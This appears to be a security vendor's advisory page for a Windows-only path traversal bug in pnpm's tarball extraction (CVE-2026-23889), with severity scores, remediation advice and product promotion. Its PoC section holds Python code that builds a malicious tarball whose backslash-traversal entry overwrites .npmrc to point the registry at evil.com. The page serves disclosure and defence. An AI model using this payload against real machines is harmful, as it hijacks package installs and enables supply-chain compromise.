How severe is GHSA-6x96-7vc8-cm3p?

GHSA-6x96-7vc8-cm3p has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-6x96-7vc8-cm3p?

GHSA-6x96-7vc8-cm3p affects the following packages: pnpm (npm). Ecosystems affected: npm.

How do I fix GHSA-6x96-7vc8-cm3p?

Update pnpm to 10.28.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6x96-7vc8-cm3p is resolved across your whole dependency graph.

How do I detect GHSA-6x96-7vc8-cm3p in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-6x96-7vc8-cm3p if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-6x96-7vc8-cm3p?

O3 pinpoints whether GHSA-6x96-7vc8-cm3p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-6x96-7vc8-cm3p actively exploited in the wild?

No public exploit code has been indexed for GHSA-6x96-7vc8-cm3p yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-6x96-7vc8-cm3p?

GHSA-6x96-7vc8-cm3p has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 35th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-6x96-7vc8-cm3p?

GHSA-6x96-7vc8-cm3p is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-6x96-7vc8-cm3p published, and has it been updated?

GHSA-6x96-7vc8-cm3p was published on January 26, 2026 and was last updated on February 3, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-6x96-7vc8-cm3p

MEDIUM

pnpm has Windows-specific tarball Path Traversal

Also known asCVE-2026-23889

Published

Jan 26, 2026

Updated

Feb 3, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk35th percentile+0.41%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

pnpmnpm

115.2Mdownloads / week

Description

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

On Unix: Backslashes are literal filename characters (safe)
On Windows: Backslashes are directory separators (exploitable)

PoC

Create a malicious tarball with entry package/foo\..\..\.npmrc
Host it or use as a tarball URL dependency
On Windows: pnpm install
Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

Windows pnpm users
Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`pnpm`	all versions	10.28.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pnpm to 10.28.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6x96-7vc8-cm3p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6x96-7vc8-cm3p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6x96-7vc8-cm3p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal. **This vulnerability is Windows-only.** ### Details **1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)** ```typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) } ``` A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this c

O3 Security · Impact-Aware SCA

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